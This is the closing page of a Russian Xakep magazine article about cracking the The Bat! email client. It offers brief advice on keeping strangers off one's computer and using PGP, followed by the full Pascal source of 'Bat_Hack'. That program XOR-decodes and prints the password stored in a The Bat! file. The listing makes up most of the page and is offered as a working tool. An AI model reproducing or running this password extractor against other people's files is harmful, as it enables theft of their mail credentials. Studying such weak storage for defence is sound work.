|

ак я ломал The Bat!, или пароли вампира
Xakep, номер #016, стр. 016-048-3
Самые нервные, наверное, сейчас завопят: "А нам что же делать"? А вам, дорогие мои, настоятельно рекомендуется не хранить пароли где ни попадя и пользоваться PGP. ПЖП с Батом прекрасно интегрируется. А главное - старайтесь пореже пускать за свой комп посторонних, даже хорошо вам знакомых. У меня один хорошо знакомый (ака посторонний) за две минуты гиговый винт умудрился прошерстить, пока я чайник ходил ставить (правда, ничего важного не нашел - для этого у меня Kremlin установлен - DES, IDEA, CAST, 3DES и другие официальные лица), а после моего прихода незамедлительно схлопотал в ухо и больше так не делал. :) Так что следите, гоните всех. Это ведь персональный компьютер, а не коллективная игрушка.
P.S. Гонорар за публикацию статьи автор перечисляет фирме RIT Labs на покупку книги Bruce Scheier "Applied Cryptography".
А вот и заветный листинг нового монстра для выбивания паролей из вампира.
program Bat_Hack;
var SourceFile: file of byte;
ch: char;
c: byte;
XOR_Value: byte;
PasswordLength: byte;
count:longint;
begin
assign (SourceFile, paramstr(1));
reset (SourceFile);
seek (SourceFile,filesize(SourceFile)-1);
read (SourceFile,c);
{Читаем последний байт файла}
{Этот байт - LF XORен по XOR_Value}
XOR_Value := (c xor 10);
{Находим XOR_Value}
seek (SourceFile,13);
read (SourceFile,c);
{Это длина пароля XORенная по XOR_Value}
PasswordLength := (c xor XOR_Value);
{Находим длину пароля}
if PasswordLength = 0 then
{Вдруг пароль не установлен}
begin
writeln ('No password !');
{не судьба...}
exit;
end;
for count := 1 to PasswordLength do
{Находим пароль}
begin
read (SourceFile,c);
write (chr (c xor XOR_Value));
end;
writeln;
close (SourceFile);
end.
P.P.S.: Качнуть все можно с www.xakep.ru/soft/
Назад на стр. 016-048-2 Содержание
|